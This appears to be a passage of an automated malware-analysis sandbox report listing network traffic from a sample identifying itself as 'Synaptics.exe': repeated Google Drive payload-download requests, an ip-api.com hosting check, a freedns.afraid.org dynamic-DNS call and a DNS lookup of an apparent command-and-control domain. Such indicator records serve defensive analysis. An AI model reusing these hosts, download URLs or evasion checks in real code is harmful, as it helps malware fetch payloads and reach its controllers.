Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=A3_DWj-uYlS8SG5SSf4h2bgber-DsAFUfVFi3FxDtVi6jdEuIU6gVf6qK91beLGBvOf1aDV0Nep13pF86ny2gczGzT-3nbHCtLKC8cn0g8_K7gZDcqKMbM307ceTmcEP8JCdf4BXdMiJYzViINyBdRPd8CGRJRG-5NAuxhs9Z5M
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=A3_DWj-uYlS8SG5SSf4h2bgber-DsAFUfVFi3FxDtVi6jdEuIU6gVf6qK91beLGBvOf1aDV0Nep13pF86ny2gczGzT-3nbHCtLKC8cn0g8_K7gZDcqKMbM307ceTmcEP8JCdf4BXdMiJYzViINyBdRPd8CGRJRG-5NAuxhs9Z5M
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
Source: global traffic	HTTP traffic detected: GET /rules/rule63067v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule170012v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule490016v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:23 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-0QV0jR1sln1Fj9GcaoYkkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: ACJd0NqEruspLaOOJrRSdie2_aGIN3xoT1qKJPCv28Ewi5NyH5stL_p5JWbOIcSn2tbgeHGVOMMServer: UploadServerSet-Cookie: NID=515=hvNqLQGGTW_jz-Z-2Gifs1ZmMOcy9V7YwuCTkJ9UsaPlvIDjrgJvd-weTfYLZ6plN_u27mHeGvvWsNasfuhssEgcVrwaGUfDL1rg6SbcVNO2Nw5L9UyXxHRiiCXTd3QV4aREWJhGdvGnJQwd-rryP0B_x1r3oXK265LQum1pmfM; expires=Wed, 01-Jan-2025 04:51:23 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:23 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-h6h2GTXVoNqcKn8WTpvzTg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0NqU4FYcxiiXDjGMJzLQJaDvq7BpoOuNldwUMM6frWlpQrbTz676Tb4JJwdF83wtqWaRJ5YServer: UploadServerSet-Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw; expires=Wed, 01-Jan-2025 04:51:23 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:24 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JGh5ZFeigZoyePwda9d-Sg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0NoLCQuFTHxzixSymh4FWFC4x7z1FNMxw8JsUy91o2gN6O-whJC79yHNdGRSUWuH6s1E32wServer: UploadServerSet-Cookie: NID=515=A3_DWj-uYlS8SG5SSf4h2bgber-DsAFUfVFi3FxDtVi6jdEuIU6gVf6qK91beLGBvOf1aDV0Nep13pF86ny2gczGzT-3nbHCtLKC8cn0g8_K7gZDcqKMbM307ceTmcEP8JCdf4BXdMiJYzViINyBdRPd8CGRJRG-5NAuxhs9Z5M; expires=Wed, 01-Jan-2025 04:51:24 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:25 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-txAM4vljkJyEOkerxJU83g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0NoIVJD2eFQPpsPLn5BXSyvuiRddYNe_07ekdyBCjEpO79bvO9OvT_0IRPjpa7ovx8qt0tYServer: UploadServerSet-Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs; expires=Wed, 01-Jan-2025 04:51:25 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:26 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ncqU9Si3T-i0tD_uYa4hWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, 